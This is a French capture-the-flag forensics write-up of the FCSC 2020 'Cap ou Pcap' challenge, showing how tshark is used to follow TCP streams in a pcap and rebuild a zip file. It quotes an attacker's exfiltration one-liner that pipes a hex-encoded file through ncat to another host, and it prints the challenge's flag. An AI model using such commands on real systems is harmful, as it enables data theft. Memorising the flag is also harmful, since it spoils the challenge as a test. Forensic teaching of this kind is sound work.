Hackropole - Cap ou Pcap
Introduction :
URL : https://hackropole.fr/fr/challenges/forensics/fcsc2020-forensics-cap-ou-pcap/
Nom du challenge : Cap ou Pcap
Difficulté : Intro
Contexte : Deux machines communiquent entre elles et s’échangent un fichier. L’objectif est d’identifier ce fichier au sein de la capture réseau, puis d’en extraire son contenu.
Format du flag : FCSC{...}
Déroulé / Résolution :
- Identification du fichier :
On commence par identifier le type du fichier fourni :
caelinceptus@2600:~/Hackropole/cap_ou_pcap$ file cap.pcap
# -> cap.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
Il s’agit donc d’une capture réseau au format PCAP.
- Identification du nombre de sessions TCP :
Nous utilisons tshark pour recenser les flux TCP présents dans la capture :
caelinceptus@2600:~/Hackropole/cap_ou_pcap$ tshark -r cap.pcap -T fields -e tcp.stream |sort -n|uniq
Sortie :
0
1
Deux sessions TCP sont identifiées, ce qui confirme une communication bilatérale entre deux machines, avec potentiellement un échange de fichier.
- Analyse de la session TCP 0 :
On suit le premier flux afin d’en visualiser le contenu :
caelinceptus@2600:~/Hackropole/cap_ou_pcap$ tshark -q -nr cap.pcap -z follow,tcp,ascii,0
En sortie :
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 172.20.20.132:51612
Node 1: 172.20.20.133:2020
id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
...
ls Documents
flag.zip
...
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit
On identifie :
- Machine 1 →
172.20.20.132 - Machine 2 →
172.20.20.133
Ainsi qu’un transfert réseau initié via cette commande :
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
Décomposition :
xxd -p Documents/flag.zip→ convertit le fichier binaire en flux hexadécimal ASCII.tr -d '\n'→ supprime les retours à la ligne.ncat 172.20.20.133 20200→ envoie le flux hexadécimal sur le port 20200 de la machine distante.
- Analyse de la session TCP 1 :
On suit maintenant la deuxième session pour confirmer cette hypothèse :
caelinceptus@2600:~/Hackropole/cap_ou_pcap$ tshark -q -nr cap.pcap -z follow,tcp,ascii,1
En sortie :
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
- Extraction du contenu du fichier :
Technique 1 : Reconstitution directe via xxd
On reconstitue la charge utile en inversant le processus d’encodage :
tshark -o data.show_as_text:TRUE -r cap.pcap -Y "tcp.dstport == 20200" -T fields -e data.text |xargs |xxd -r -p - |zmore
Technique 2 : Reconstitution via script Python
Une autre approche consiste à sauvegarder les données hexadécimales et à les écrire dans un fichier binaire :
#!/usr/bin/env python3
data = bytes.fromhex("504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000")
with open("flag.zip", "wb") as f:
f.write(data)
print("extraction du fichier flag.zip")
Décompression du fichier obtenu :
caelinceptus@2600:~/Hackropole/cap_ou_pcap$ unzip flag.zip
# -> inflating: flag.txt
caelinceptus@2600:~/Hackropole/cap_ou_pcap$ cat flag.txt
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
Le flag est donc :
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
Conclusion :
Ce challenge introduit les bases de l’analyse réseau à l’aide de Wireshark/Tshark, un outil incontournable pour inspecter les communications entre machines.
Il met en avant les étapes fondamentales suivantes :
- Identification des sessions TCP à partir d’une capture réseau.
- Inspection du contenu des flux pour détecter un transfert de données ou un comportement anormal.
- Extraction et reconstitution d’un fichier à partir d’un flux hexadécimal.
- Validation du fichier reconstruit afin d’en extraire les données sensibles (ici, le flag).
En résumé, ce challenge démontre comment, à partir d’une simple capture réseau, il est possible de :
- remonter une session TCP complète,
- identifier un transfert de fichier caché dans un flux hexadécimal,
- et reconstituer le fichier original pour en extraire des preuves.